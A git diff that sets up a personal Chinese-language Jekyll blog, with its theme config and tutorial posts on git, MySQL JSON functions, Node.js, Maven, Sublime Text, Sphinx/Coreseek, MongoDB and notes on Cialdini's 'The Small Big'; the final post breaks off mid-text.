diff --git a/CNAME b/CNAME new file mode 100644 index 0000000..164fc35 --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +www.baoguoding.com \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..b332820 --- /dev/null +++ b/README.md @@ -0,0 +1,6 @@ +## jekyll-theme-iLotus + +A split fork version of [pizn/iLotus](https://github.com/pizn/iLotus). So you +can just fork and start a new github pages blog + +fork from (https://github.com/Treri/jekyll-theme-iLotus) http://ISay.me \ No newline at end of file diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..e4e653c --- /dev/null +++ b/_config.yml @@ -0,0 +1,143 @@ +# Where things are +source: . +destination: ./_site +plugins_dir: ./_plugins +layouts_dir: ./_layouts +data_dir: ./_data +includes_dir: ./_includes + +# this config will lead github pages blog(jekyll 3.0.3) generate no rendered posts +# so comment out this until github used jekyll updated +# collections: null + +# Handling Reading +safe: false +include: [".htaccess"] +exclude: [] +keep_files: [".git", ".svn"] +encoding: "utf-8" +markdown_ext: "markdown,mkdown,mkdn,mkd,md" + +# Filtering Content +show_drafts: null +limit_posts: 0 +future: true +unpublished: false + +# Plugins +whitelist: [] +gems: + - jekyll-feed + - jekyll-sitemap + +# Conversion +markdown: kramdown +highlighter: rouge +lsi: false +excerpt_separator: "\n\n" +incremental: false + +# Serving +detach: false +port: 4000 +host: 127.0.0.1 +baseurl: "" # does not include hostname + +# Outputting +permalink: /:year/:month/:title.html +# paginate: 8 +paginate_path: /page:num +timezone: Asia/Shanghai + +feed: + path: feed.xml + +quiet: false +defaults: + - + scope: + path: "" # empty string for all files + type: posts # limit to posts + values: + comments: true + - + scope: + path: "" # empty string for all files + type: pages # limit to posts + values: + comments: false + +# Markdown Processors +kramdown: + input: GFM + hard_wrap: false + syntax_highlighter: rouge + auto_ids: true + footnote_nr: 1 + entity_output: as_char + toc_levels: 1..6 + smart_quotes: lsquo,rsquo,ldquo,rdquo + enable_coderay: false + + coderay: + coderay_wrap: div + coderay_line_numbers: inline + coderay_line_number_start: 1 + coderay_tab_width: 4 + coderay_bold_every: 10 + coderay_css: style + +#iLotus configs +iLotus: + columns: 1 + begin: 2011 + + # comments provider + comments: + provider: duoshuo + duoshuo: + short_name: baoguoding + + archives_path: /archives.html + contact_path: /contact.html + links_path: /links.html + tags_path: /tags.html + + #菜单配置 + navs: + - text: 首页 + url: / + icon: fa fa-home + class: home + - text: 文章归档 + url: /archives.html + icon: fa fa-reorder + class: none + - text: 文章标签 + url: /tags.html + icon: fa fa-tags + class: none + - text: 关于我 + url: /contact.html + icon: fa fa-user + class: none + - text: 博客源代码 + url: https://github.com/baoguoding/baoguoding.github.io + icon: fa fa-github-square + class: none + +#站点基础配置 +title: 丁保国的博客 +subTitle: 我 爱 收集 | 我 爱 整理 | 我 爱 原创 | 我 爱 分享 +description: Baoguo's Individual Blog. 不管是工作还是学习，总有很多东西，学过、用过然后就忘记了，在这里收集整理，为人也为自己. +keywords: Linux, 哲学, 保国, 混沌, 混沌商学院, 研习社, PMP, TOC, 丁保国, 保国丁, 货代, 进口, 出口, Kubernetes, k8s, docker, MBA, NPDP, centos, 细节如何轻松影响他人, 公司金融学, 货代, 财务会计, 人力资源, 市场营销, 商业模式, 哲科思维, 关税, 贸易战, 创新管理, 组织行为学, 市场, 战略管理, 金融学, 经济学, 项目管理, 社会, 羊皮卷 +url: http://www.baoguoding.com + +author: + name : Ding Bao Guo + email: baoguo.ding@gmail.com + github: baoguoding + twitter: baoguoding + douban: baoguoding + QQ: 8334279 + weibo: baoguoding diff --git a/_includes/comments b/_includes/comments new file mode 100644 index 0000000..d8f44c8 --- /dev/null +++ b/_includes/comments @@ -0,0 +1,12 @@ +{% if jekyll.environment == 'production' and site.iLotus.comments.provider %} + {% if page.comments %} + +
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time for a specific file + + $ git log -p + +Who changed what and when in + + $ git blame + +# BRANCHES & TAGS + +List all existing branches + + $ git branch -av + +Switch HEAD branch + + $ git checkout + +Create a new branch based +on your current HEAD + + $ git branch + +Create a new tracking branch based on +a remote branch + + $ git checkout --track + +Delete a local branch + + $ git branch -d + +Mark the current commit with a tag + + $ git tag + +# UPDATE & PUBLISH +List all currently configured remotes + + $ git remote -v + +Show information about a remote + + $ git remote show + +Add new remote repository, named <remote> + + $ git remote add + +Download all changes from <remote>, +but don‘t integrate into HEAD + + $ git fetch + +Download changes and directly +merge/integrate into HEAD + + $ git pull + +Publish local changes on a remote + + $ git push + +Delete a branch on the remote + + $ git branch -dr + +Publish your tag s + + $ git push --tags + +# MERGE & REBASE +Merge <branch> into your current HEAD + + $ git merge + +Rebase your current HEAD onto <branch> + +*Don‘t rebase published commits!* + + $ git rebase + +Abort a rebase + + $ git rebase --abort + +Continue a rebase after resolving conflicts + + $ git rebase --continue + +Use your configured merge tool to +solve conflicts + + $ git mergetool + +Use your editor to manually solve conflicts +and (after resolving) mark file as resolved + + $ git add + $ git rm + +# UNDO +Discard all local changes in your working directory + +```shell + $ git reset --hard HEAD +``` + +Discard local changes in a specific file + +```shell + $ git checkout HEAD +``` + +Revert a commit (by producing a new commit with contrary changes) + +```shell + $ git revert +``` + +Reset your HEAD pointer to a previous commit + +...and discard all changes since then + +```shell + $ git reset --hard +``` + +...and preserve all changes as unstaged changes + +```shell + $ git reset +``` + +...and preserve uncommitted local changes + +```shell + $ git reset --keep +``` + diff --git a/_posts/2016-08-29-101-git-tutorial.md b/_posts/2016-08-29-101-git-tutorial.md new file mode 100644 index 0000000..23ac7bc --- /dev/null +++ b/_posts/2016-08-29-101-git-tutorial.md @@ -0,0 +1,244 @@ +--- +layout: post +title: GIT TUTORIAL +pid: 101 +tags: [git] +--- +# 创建版本库 + + $ mkdir learngit + $ cd learngit + $ pwd + $ git init + $ git add readme.txt + $ git commit -m "wrote a readme file" + OR + $ git commit -a -m "wrote a readme file" + $ git add file1.txt + $ git add file2.txt file3.txt + $ git commit -m "add 3 files." + +# 时光机穿梭 + + $ git status + $ git diff readme.txt + +## 版本回退 + + $ git add readme.txt + $ git commit -m "append GPL" + $ git log + $ git log --pretty=oneline + $ git reset --hard HEAD^ + $ git reset --hard 3628164 + $ git reflog + +## 工作区和暂存区 + +前面讲了我们把文件往Git版本库里添加的时候，是分两步执行的： + + 第一步是用git add把文件添加进去，实际上就是把文件修改添加到暂存区； + 第二步是用git commit提交更改，实际上就是把暂存区的所有内容提交到当前分支。 + +因为我们创建Git版本库时，Git自动为我们创建了唯一一个master分支，所以，现在，git commit就是往master分支上提交更改。 +你可以简单理解为，需要提交的文件修改通通放到暂存区，然后，一次性提交暂存区的所有修改。 + +## 管理修改 + +现在，你又理解了Git是如何跟踪修改的，每次修改，如果不add到暂存区，那就不会加入到commit中。 + + $ git diff HEAD -- readme.txt + +## 撤销修改 + + $ git checkout -- readme.txt + +命令git checkout -- readme.txt意思就是，把readme.txt文件在工作区的修改全部撤销，这里有两种情况： + + 一种是readme.txt自修改后还没有被放到暂存区，现在，撤销修改就回到和版本库一模一样的状态； + 一种是readme.txt已经添加到暂存区后，又作了修改，现在，撤销修改就回到添加到暂存区后的状态。 + +总之，就是让这个文件回到最近一次git commit或git add时的状态。 + + $ git reset HEAD readme.txt + Unstaged changes after reset: + M readme.txt + +Git同样告诉我们，用命令git reset HEAD file可以把暂存区的修改撤销掉（unstage），重新放回工作区： + +## 删除文件 + + $ git add test.txt + $ git commit -m "add test.txt" + $ rm test.txt + $ git status + $ git rm test.txt + $ git commit -m "remove test.txt" + $ git checkout -- test.txt + +# 远程仓库 + +## 添加远程库 + + $ git remote add origin git@github.com:baoguoding/learngit.git + $ git push -u origin master + $ git push origin master + +## 从远程库克隆 + + $ git clone git@github.com:baoguoding/gitskills.git + $ cd gitskills + $ ls + +# 分支管理 + +## 创建与合并分支 + + $ git checkout -b dev + $ git branch dev + $ git checkout dev + $ git branch + $ git add readme.txt + $ git commit -m "branch test" + $ git checkout master + $ git merge dev + $ git branch -d dev + $ git branch + +Git鼓励大量使用分支： + + 查看分支：git branch + 创建分支：git branch + 切换分支：git checkout + 创建+切换分支：git checkout -b + 合并某分支到当前分支：git merge + 删除分支：git branch -d + +## 解决冲突 + + $ git checkout -b feature1 + $ git add readme.txt + $ git commit -m "AND simple" + $ git checkout master + $ git add readme.txt + $ git commit -m "& simple" + $ git merge feature1 + $ git status + $ git add readme.txt + $ git commit -m "conflict fixed" + $ git log --graph --pretty=oneline --abbrev-commit + $ git branch -d feature1 + +## 分支管理策略 + + $ git checkout -b dev + $ git add readme.txt + $ git commit -m "add merge" + $ git checkout master + $ git merge --no-ff -m "merge with no-ff" dev + $ git log --graph --pretty=oneline --abbrev-commit + +## Bug分支 + + $ git status + $ git stash + $ git checkout master + $ git checkout -b issue-101 + $ git add readme.txt + $ git commit -m "fix bug 101" + $ git checkout master + $ git merge --no-ff -m "merged bug fix 101" issue-101 + $ git branch -d issue-101 + $ git checkout dev + $ git status + $ git stash list + $ git stash pop + $ git stash list + $ git stash apply stash@{0} + +修复bug时，我们会通过创建新的bug分支进行修复，然后合并，最后删除； + +当手头工作没有完成时，先把工作现场git stash一下，然后去修复bug，修复后，再git stash pop，回到工作现场。 + +## Feature分支 + + $ git checkout -b feature-vulcan + $ git add vulcan.py + $ git status + $ git commit -m "add feature vulcan" + $ git checkout dev + 合并操作 + $ git branch -d feature-vulcan + $ git branch -D feature-vulcan + +## 多人协作 + + $ git remote + $ git remote -v + $ git push origin master + $ git push origin dev + +抓取分支 + + $ git clone git@github.com:baoguoding/learngit.git + $ git branch + $ git checkout -b dev origin/dev + $ git commit -m "add /usr/bin/env" + $ git push origin dev + $ git add hello.py + $ git commit -m "add coding: utf-8" + $ git pull + $ git branch --set-upstream dev origin/dev + $ git commit -m "merge & fix hello.py" + +# 标签管理 + +## 创建标签 + + $ git branch + $ git checkout master + $ git tag v1.0 + $ git tag + $ git log --pretty=oneline --abbrev-commit + $ git tag v0.9 6224937 + $ git tag + $ git show v0.9 + $ git tag -a v0.1 -m "version 0.1 released" 3628164 + $ git show v0.1 + $ git tag -s v0.2 -m "signed version 0.2 released" fec145a + $ git show v0.2 + + + 命令git tag 用于新建一个标签，默认为HEAD，也可以指定一个commit id； + git tag -a -m "blablabla..."可以指定标签信息； + git tag -s -m "blablabla..."可以用PGP签名标签； + 命令git tag可以查看所有标签。 + + +## 操作标签 + + $ git tag -d v0.1 + $ git push origin v1.0 + $ git push origin --tags + $ git tag -d v0.9 + $ git push origin :refs/tags/v0.9 + + 命令git push origin 可以推送一个本地标签； + 命令git push origin --tags可以推送全部未推送过的本地标签； + 命令git tag -d 可以删除一个本地标签； + 命令git push origin :refs/tags/可以删除一个远程标签。 + +# 其他 + ## 切换内外网地址 + git remote set-url origin git@192.168.1.8:root/sample.git + + 强制覆盖本地所有文件，注意，你的东西。。。。就没有了。。。 + git fetch --all + git reset --hard origin/master + git pull + +# 参考： + +[Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) + +[GIT在线实战教程](https://learngitbranching.js.org/) diff --git a/_posts/2016-08-31-102-mysql-json.md b/_posts/2016-08-31-102-mysql-json.md new file mode 100644 index 0000000..c520d07 --- /dev/null +++ b/_posts/2016-08-31-102-mysql-json.md @@ -0,0 +1,111 @@ +--- +layout: post +title: MYSQL JSON +pid: 102 +tags: [mysql] +--- + +在日常开发中，我们不可避免的要使用json数据，如果每次都自己编写生成json文件，总是要花费不少时间，今天我们来学习一下几个常用的程序，希望可以方便今后快速搭建json后台程序。 + +# 常用命令 + + select REPLACE(UUID(), '-','') + + +# 使用Function获取单表json数据 + + DROP FUNCTION IF EXISTS `F_GETJSON`; + + DELIMITER ;; + CREATE DEFINER=`root`@`%` FUNCTION `F_GETJSON`() RETURNS text CHARSET utf8 COLLATE utf8_bin + BEGIN + DECLARE jsonStr TEXT DEFAULT ""; + SELECT + CONCAT('{"apiList":[', + GROUP_CONCAT( + CONCAT('{"version":"',version,'"'),',', + CONCAT('"name":"',name,'"'), + CONCAT(',"desc":"',description),'"', + CONCAT(',"type":"',type),'"', + CONCAT(',"typeDesc":"',type_desc),'"', + CONCAT(',"path":"',path),'"', + CONCAT(',"requestSample":"',request_sample),'"', + CONCAT(',"responseSample":"',response_sample),'"}') + ,']}') + INTO jsonStr FROM api; + RETURN jsonStr; + END + ;; + DELIMITER ; + + +# 使用Store Procedure方式来建立较为复杂的Json文件 + + + DROP PROCEDURE IF EXISTS `SP_GETJSON`; + DELIMITER ;; + CREATE DEFINER=`root`@`%` PROCEDURE `SP_GETJSON`() + BEGIN + DECLARE v_json TEXT DEFAULT ""; + DECLARE v_param TEXT DEFAULT ""; + DECLARE v_api_id VARCHAR(50) DEFAULT ""; + DECLARE v_name VARCHAR(500) DEFAULT ""; + DECLARE v_version VARCHAR(500) DEFAULT ""; + DECLARE v_desc VARCHAR(500) DEFAULT ""; + DECLARE v_type VARCHAR(500) DEFAULT ""; + DECLARE v_type_desc VARCHAR(500) DEFAULT ""; + DECLARE v_path VARCHAR(500) DEFAULT ""; + DECLARE v_request_sample VARCHAR(500) DEFAULT ""; + DECLARE v_response_sample VARCHAR(500) DEFAULT ""; + DECLARE v_finished INTEGER DEFAULT 0; + DECLARE name_cursor CURSOR FOR + SELECT api_id, name, version, description, type, type_desc, path, request_sample, response_sample from api; + + DECLARE CONTINUE HANDLER + FOR NOT FOUND SET v_finished = 1; + + set v_json = CONCAT(v_json,"{\"apiList\": ["); + + open name_cursor; + + get_name: LOOP + FETCH name_cursor into v_api_id,v_name,v_version,v_desc,v_type,v_type_desc,v_path,v_request_sample,v_response_sample; + if v_finished = 1 THEN + LEAVE get_name; + END IF; + + set v_json = CONCAT(v_json, + '{"version":"',IFNULL(v_version,""),'"',',', + '"name":"',IFNULL(v_name,""),'"', + ',"desc":"',IFNULL(v_desc,""),'"', + ',"type":"',IFNULL(v_type,""),'"', + ',"typeDesc":"',IFNULL(v_type_desc,""),'"', + ',"path":"',IFNULL(v_path,""),'"'); + + set v_json = CONCAT(v_json, + ',"requestSample":"',IFNULL(v_request_sample,""),'"', + ',"responseSample":"',IFNULL(v_response_sample,""),'"'); + + SELECT + CONCAT(',"paramList":[', + GROUP_CONCAT( + CONCAT('{"name":"',IFNULL(p.name,""),'"'),',', + CONCAT('"desc":"',IFNULL(p.description,"")),'"}') + ,']') + into v_param FROM param p where p.api_id = v_api_id; + + set v_json = CONCAT(v_json, IFNULL(v_param,"")); + set v_json = CONCAT(v_json,"},"); + + + END LOOP get_name; + + CLOSE name_cursor; + + set v_json = CONCAT(v_json,"]}"); + + select v_json; + + END + ;; + DELIMITER ; diff --git a/_posts/2016-11-09-103-nodejs-basic.md b/_posts/2016-11-09-103-nodejs-basic.md new file mode 100644 index 0000000..04c0d0e --- /dev/null +++ b/_posts/2016-11-09-103-nodejs-basic.md @@ -0,0 +1,18 @@ +--- +layout: post +title: Nodejs 基础学习笔记 +pid: 103 +tags: [nodejs] +--- + +最近开始学习Nodejs, 万事开头难，不知道从哪里开始，不知道怎么做，偶然间看到老何写的教程，细细拜读，确实不错。 + +首先想Nodejs这样的东西，在Linux和Windows上面都有一些不同，比如，我们安装nodejs环境，node 和npm就是不一样的，在Linux下是分开安装的，在windows下，找到msi的安装文件，安装好了，就可以使用node和npm了。 + +我把[Node.js进阶教程第一步(基础篇)]做了一个整理，可以到[github](https://github.com/baoguoding/nodejs-basic.git)上面拿文件，然后在本地跑一跑，大概需要2个小时的时间，就对nodejs的基础部分有一个了解了。 + +在学习Nodejs过程中，你会遇到拿库拿不下来的困境，没关系，我们有淘宝镜像： + + $ npm install -g cnpm --registry=https://registry.npm.taobao.org + +接下来，我们使用cnpm install [name]来安装软件，具体可以看[淘宝 NPM 镜像](http://npm.taobao.org/)。 diff --git a/_posts/2016-11-10-104-mvn.md b/_posts/2016-11-10-104-mvn.md new file mode 100644 index 0000000..ca69470 --- /dev/null +++ b/_posts/2016-11-10-104-mvn.md @@ -0,0 +1,16 @@ +--- +layout: post +title: Maven实用小技巧 +pid: 104 +tags: [maven] +--- +# 配置阿里镜像 + + + alimaven + aliyun maven + http://maven.aliyun.com/nexus/content/groups/public/ + central + + +# diff --git a/_posts/2016-11-14-105-sublime-nodejs.md b/_posts/2016-11-14-105-sublime-nodejs.md new file mode 100644 index 0000000..e6f3599 --- /dev/null +++ b/_posts/2016-11-14-105-sublime-nodejs.md @@ -0,0 +1,38 @@ +--- +layout: post +title: Sublime Text 3 的Nodejs插件 +pid: 105 +tags: [Sublime, nodejs] +--- + +在使用Sublime Text 3开发Nodejs程序的时候，我们需要安装Nodejs的插件。可以按照以下步骤来操作。 + +# 下载插件 + + git clone https://github.com/tanepiper/SublimeText-Nodejs "%APPDATA%\Sublime Text 3\Packages\Nodejs" + +# 修改配置 +C:\Users\baoguo\AppData\Roaming\Sublime Text 3\Packages\Nodejs\Nodejs.sublime-build + + { + "cmd": ["node", "$file"], + "file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)", + "selector": "source.js", + "shell":true, + "encoding": "cp936", + "windows": + { + "cmd": ["taskkill", "/F", "/IM", "node.exe","&","node", "$file"] + }, + "linux": + { + "cmd": ["killall node; node", "$file"] + } + } + +修改完成后，记得重启Sublime Text 3. + +# 常用命令 + + Ctrl+B //运行 + Tools/ Cancel Build(Ctrl+Break) diff --git a/_posts/2016-11-14-106-nodejs-express.md b/_posts/2016-11-14-106-nodejs-express.md new file mode 100644 index 0000000..ad08be8 --- /dev/null +++ b/_posts/2016-11-14-106-nodejs-express.md @@ -0,0 +1,15 @@ +--- +layout: post +title: Nodejs Express学习笔记 +pid: 106 +tags: [nodejs] +--- + + +学习好了Nodejs基础后，又花了几天时间把Nodejs的Express框架学习结束，主要还是何老师的教程好，大家可以到这里购买何老师的教程[Node.js进阶教程第二步:Express框架](http://study.163.com/course/courseMain.htm?courseId=1003274017)。 + +这个教程主要是围绕项目[SegmetnFault](https://segmentfault.com/)展开，我已经按照教程做了一遍，想快速浏览的朋友可以看这里[nodejs-express](https://github.com/baoguoding/nodejs-express)。 + +按照视频学习大概需要5天左右的时间，如果按照我做好的实验，直接学习，5个小时左右应该可以完成所有实验。 + +祝你成功！ diff --git a/_posts/2016-11-15-107-sphinx-coreseek.md b/_posts/2016-11-15-107-sphinx-coreseek.md new file mode 100644 index 0000000..b3d856e --- /dev/null +++ b/_posts/2016-11-15-107-sphinx-coreseek.md @@ -0,0 +1,84 @@ +--- +layout: post +title: Sphinx Coreseek +pid: 107 +tags: [sphinx] +--- + + +直接上配置吧 + +D:\Software\coreseek-4.1-win32\etc\csft_mysql.conf + + #MySQL数据源配置，详情请查看：http://www.coreseek.cn/products-install/mysql/ + #请先将var/test/documents.sql导入数据库，并配置好以下的MySQL用户密码数据库 + + #源定义 + source question + { + type = mysql + + sql_host = localhost + sql_user = root + sql_pass = root + sql_db = segment + sql_port = 3306 + sql_query_pre = SET NAMES utf8 + sql_query_pre = SET SESSION query_cache_type=OFF #禁用查询缓冲，提高查询速度 + + sql_query = SELECT qid, typename, title, nicheng, finished FROM question + #sql_query第一列id需为整数 + #title、content作为字符串/文本字段，被全文索引 + #sql_attr_uint = qid #从SQL读取到的值必须为整数 + + + sql_query_info_pre = SET NAMES utf8 #命令行查询时，设置正确的字符集 + sql_query_info = SELECT * FROM question WHERE qid=$id #命令行查询时，从数据库读取原始数据信息 + } + + #index定义 + index question + { + source = question #对应的source名称 + path = D:/Software/coreseek-4.1-win32/var/data/question/ #请修改为实际使用的绝对路径，例如：/usr/local/coreseek/var/... + docinfo = extern + mlock = 0 + morphology = none + min_word_len = 1 + html_strip = 0 + + #中文分词配置，详情请查看：http://www.coreseek.cn/products-install/coreseek_mmseg/ + #charset_dictpath = /usr/local/mmseg3/etc/ #BSD、Linux环境下设置，/符号结尾 + charset_dictpath = D:/Software/coreseek-4.1-win32/etc/ #Windows环境下设置，/符号结尾，最好给出绝对路径，例如：C:/usr/local/coreseek/etc/... + charset_type = zh_cn.utf-8 + } + + #全局index定义 + indexer + { + mem_limit = 128M + } + + #searchd服务定义 + searchd + { + listen = 9312 + read_timeout = 5 + max_children = 30 + max_matches = 1000 + seamless_rotate = 0 + preopen_indexes = 0 + unlink_old = 1 + pid_file = D:/Software/coreseek-4.1-win32/var/log/searchd_mysql.pid #请修改为实际使用的绝对路径，例如：/usr/local/coreseek/var/... + log = D:/Software/coreseek-4.1-win32/var/log/searchd_mysql.log #请修改为实际使用的绝对路径，例如：/usr/local/coreseek/var/... + query_log = D:/Software/coreseek-4.1-win32/var/log/query_mysql.log #请修改为实际使用的绝对路径，例如：/usr/local/coreseek/var/... + binlog_path = #关闭binlog日志 + } + + +# 跑的命令 + + cd D:\Software\coreseek-4.1-win32\ + bin\indexer -c etc\csft_mysql.conf --all #生成全部索引 + OR + bin\indexer -c etc\csft_mysql.conf question #只生成question索引 diff --git a/_posts/2016-11-16-108-mongoDB.md b/_posts/2016-11-16-108-mongoDB.md new file mode 100644 index 0000000..d13c3fd --- /dev/null +++ b/_posts/2016-11-16-108-mongoDB.md @@ -0,0 +1,40 @@ +--- +layout: post +title: MongoDB 常用命令 +pid: 108 +tags: [mongo] +--- + +NOSQL中MongoDB占了一块席位，整理不服常用命令，方便以后查询。 + + 1. 启动mongo服务器 + C:\Program Files\MongoDB\Server\3.2\bin>mongod.exe --dbpath "D:\mongo\data" + + 2. 打开控制台 + C:\Program Files\MongoDB\Server\3.2\bin>mongo.exe + + 3.查看数据库数量 + > show dbs; + local 0.000GB + + 4.使用和创建数据库 + > use mydb //没有就创建 + + 5. 显示数据库 + > show dbs + + 6. 显示数据库状态 + > db.stats() + + 7.检查当前所有的数据库 + > db + + 8. 删除数据库(先用然后删除) + > use mydb + > db.dropDatabase() + + 9. 显示数据集 + > show collections + + 10. 查找数据集user的所有记录 + > db.user.find() diff --git a/_posts/2016-11-16-109-nodejs-sails.md b/_posts/2016-11-16-109-nodejs-sails.md new file mode 100644 index 0000000..f1925dd --- /dev/null +++ b/_posts/2016-11-16-109-nodejs-sails.md @@ -0,0 +1,22 @@ +--- +layout: post +title: Nodejs Sails学习笔记 +pid: 109 +tags: [nodejs] +--- + + +Sails框架是基于Express的一个ORM框架，目前学习了以下几个方面的内容： + + 路由 + 拦截器 + ORM + 全文检索引擎 + 操作Mongodb,memcached + sails开发细节等 + +欢迎大家学习老何的[教程](http://study.163.com/course/courseLearn.htm?courseId=1003340005)，当然，如果你希望比较快的入手，也可以直接通过我的[实验](https://github.com/baoguoding/nodejs-sails)来学习,大概需要3个小时左右。 + +接下来，我们会去学习Nodejs的WebSocket方面的内容。 + +加油！ diff --git a/_posts/2016-11-20-110-nodejs-websocket.md b/_posts/2016-11-20-110-nodejs-websocket.md new file mode 100644 index 0000000..8e6d461 --- /dev/null +++ b/_posts/2016-11-20-110-nodejs-websocket.md @@ -0,0 +1,32 @@ +--- +layout: post +title: Nodejs Websocket学习记录 +pid: 110 +tags: [nodejs] +--- + +这几天把老何的[Web Socket](http://study.163.com/course/courseMain.htm?courseId=1003413009)的学习，整体对Web Socket做了一个了解。 + +具体包含以下内容： + + Socket服务器搭建(TCP和UDP) + client端 + 传输介质protobuf + 房间算法 + 心跳算法 + 实时传输案例等 + WebSocket与http的结合以及其应用场景 + + +建议还是使用Socket.io相关的api，因为基本兼容了所有的版本。 +如果想快速学习可以直接到[Nodejs-WebSocket](https://github.com/baoguoding/nodejs-websocket)，这样可以提升学习速度，大概3个小时左右可以完成所有的学习任务。 + +如果希望有更深入的学习，可以从以下几个方面去学习。 + + vue.js + ES6 + weex -- Mobile + react.js + react Native -- Mobile + angularjs + +如有任何疑问，请让我知道。 diff --git a/_posts/2016-11-21-111-sublime3-keys-map.md b/_posts/2016-11-21-111-sublime3-keys-map.md new file mode 100644 index 0000000..57286ed --- /dev/null +++ b/_posts/2016-11-21-111-sublime3-keys-map.md @@ -0,0 +1,139 @@ +--- +layout: post +title: Sublime 3 快捷键 +pid: 111 +tags: [Sublime] +--- + +因为我的Webstome crash了，没办法，暂时使用Sublime来编辑程序，以下为快捷键。 + +[Sublime Text 3 快捷键总结](https://www.douban.com/note/362268947/) + + +# 选择类 + + Ctrl+D 选中光标所占的文本，继续操作则会选中下一个相同的文本。 + + Alt+F3 选中文本按下快捷键，即可一次性选择全部的相同文本进行同时编辑。举个栗子：快速选中并更改所有相同的变量名、函数名等。 + + Ctrl+L 选中整行，继续操作则继续选择下一行，效果和 Shift+↓ 效果一样。 + + Ctrl+Shift+L 先选中多行，再按下快捷键，会在每行行尾插入光标，即可同时编辑这些行。 + + Ctrl+Shift+M 选择括号内的内容（继续选择父括号）。举个栗子：快速选中删除函数中的代码，重写函数体代码或重写括号内里的内容。 + + Ctrl+M 光标移动至括号内结束或开始的位置。 + + Ctrl+Enter 在下一行插入新行。举个栗子：即使光标不在行尾，也能快速向下插入一行。 + + Ctrl+Shift+Enter 在上一行插入新行。举个栗子：即使光标不在行首，也能快速向上插入一行。 + + Ctrl+Shift+[ 选中代码，按下快捷键，折叠代码。 + + Ctrl+Shift+] 选中代码，按下快捷键，展开代码。 + + Ctrl+K+0 展开所有折叠代码。 + + Ctrl+← 向左单位性地移动光标，快速移动光标。 + + Ctrl+→ 向右单位性地移动光标，快速移动光标。 + + shift+↑ 向上选中多行。 + + shift+↓ 向下选中多行。 + + Shift+← 向左选中文本。 + + Shift+→ 向右选中文本。 + + Ctrl+Shift+← 向左单位性地选中文本。 + + Ctrl+Shift+→ 向右单位性地选中文本。 + + Ctrl+Shift+↑ 将光标所在行和上一行代码互换（将光标所在行插入到上一行之前）。 + + Ctrl+Shift+↓ 将光标所在行和下一行代码互换（将光标所在行插入到下一行之后）。 + + Ctrl+Alt+↑ 向上添加多行光标，可同时编辑多行。 + + Ctrl+Alt+↓ 向下添加多行光标，可同时编辑多行。 + +# 编辑类 + + Ctrl+J 合并选中的多行代码为一行。举个栗子：将多行格式的CSS属性合并为一行。 + + Ctrl+Shift+D 复制光标所在整行，插入到下一行。 + + Tab 向右缩进。 + + Shift+Tab 向左缩进。 + + Ctrl+K+K 从光标处开始删除代码至行尾。 + + Ctrl+Shift+K 删除整行。 + + Ctrl+/ 注释单行。 + + Ctrl+Shift+/ 注释多行。 + + Ctrl+K+U 转换大写。 + + Ctrl+K+L 转换小写。 + + Ctrl+Z 撤销。 + + Ctrl+Y 恢复撤销。 + + Ctrl+U 软撤销，感觉和 Gtrl+Z 一样。 + + Ctrl+F2 设置书签 + + Ctrl+T 左右字母互换。 + + F6 单词检测拼写 + +# 搜索类 + + Ctrl+F 打开底部搜索框，查找关键字。 + + Ctrl+shift+F 在文件夹内查找，与普通编辑器不同的地方是sublime允许添加多个文件夹进行查找，略高端，未研究。 + + Ctrl+P 打开搜索框。举个栗子：1、输入当前项目中的文件名，快速搜索文件，2、输入@和关键字，查找文件中函数名，3、输入：和数字，跳转到文件中该行代码，4、输入#和关键字，查找变量名。 + + Ctrl+G 打开搜索框，自动带：，输入数字跳转到该行代码。举个栗子：在页面代码比较长的文件中快速定位。 + + Ctrl+R 打开搜索框，自动带@，输入关键字，查找文件中的函数名。举个栗子：在函数较多的页面快速查找某个函数。 + + Ctrl+： 打开搜索框，自动带#，输入关键字，查找文件中的变量名、属性名等。 + + Ctrl+Shift+P 打开命令框。场景栗子：打开命名框，输入关键字，调用sublime text或插件的功能，例如使用package安装插件。 + + Esc 退出光标多行选择，退出搜索框，命令框等。 + +# 显示类 + + Ctrl+Tab 按文件浏览过的顺序，切换当前窗口的标签页。 + + Ctrl+PageDown 向左切换当前窗口的标签页。 + + Ctrl+PageUp 向右切换当前窗口的标签页。 + + Alt+Shift+1 窗口分屏，恢复默认1屏（非小键盘的数字） + + Alt+Shift+2 左右分屏-2列 + + Alt+Shift+3 左右分屏-3列 + + Alt+Shift+4 左右分屏-4列 + + Alt+Shift+5 等分4屏 + + Alt+Shift+8 垂直分屏-2屏 + + Alt+Shift+9 垂直分屏-3屏 + + Ctrl+K+B 开启/关闭侧边栏。 + + F11 全屏模式 + + Shift+F11 免打扰模式 diff --git a/_posts/2016-11-22-112-the-small-big-00.md b/_posts/2016-11-22-112-the-small-big-00.md new file mode 100644 index 0000000..0c835cb --- /dev/null +++ b/_posts/2016-11-22-112-the-small-big-00.md @@ -0,0 +1,21 @@ +--- +layout: post +title: 00 引言(PREFACE) +pid: 113 +tags: [细节如何轻松影响他人] +--- + +The Small Big: Small Changes That Spark Big Influence + +罗伯特·西奥迪尼 (Robert Cialdini) (作者), 史蒂夫·马丁 (Steve Martin) (作者) + +老板不希望你知道的6个秘密： + + 互惠（人们感到有义务偿还别人给予的恩惠） + 权威（人们希望专家指点迷津） + 稀缺（某样东西越稀少，人们就越想要） + 喜好（人们越喜欢某个人，就越容易答应他的请求） + 保持一致（人们希望做出跟自己的承诺和价值观相符的行为，并始终如一） + 社会认同（人们会参照他人的做法来指导自己的行为） + +这六条原则来自罗伯特•西奥迪尼出版的《影响力》（Influence:The Psychology of Persuasion）。 diff --git a/_posts/2016-11-22-113-the-small-big-01.md b/_posts/2016-11-22-113-the-small-big-01.md new file mode 100644 index 0000000..c1c7e6b --- /dev/null +++ b/_posts/2016-11-22-113-the-small-big-01.md @@ -0,0 +1,57 @@ +--- +layout: post +title: 01 向“大众”借力 +pid: 112 +tags: [细节如何轻松影响他人] +--- + + +和其他国家的税收员一样，英国税务海关总署的工作人员遇到了棘手的问题，有太多国民没有按时提交纳税申报单并缴纳税款。 + 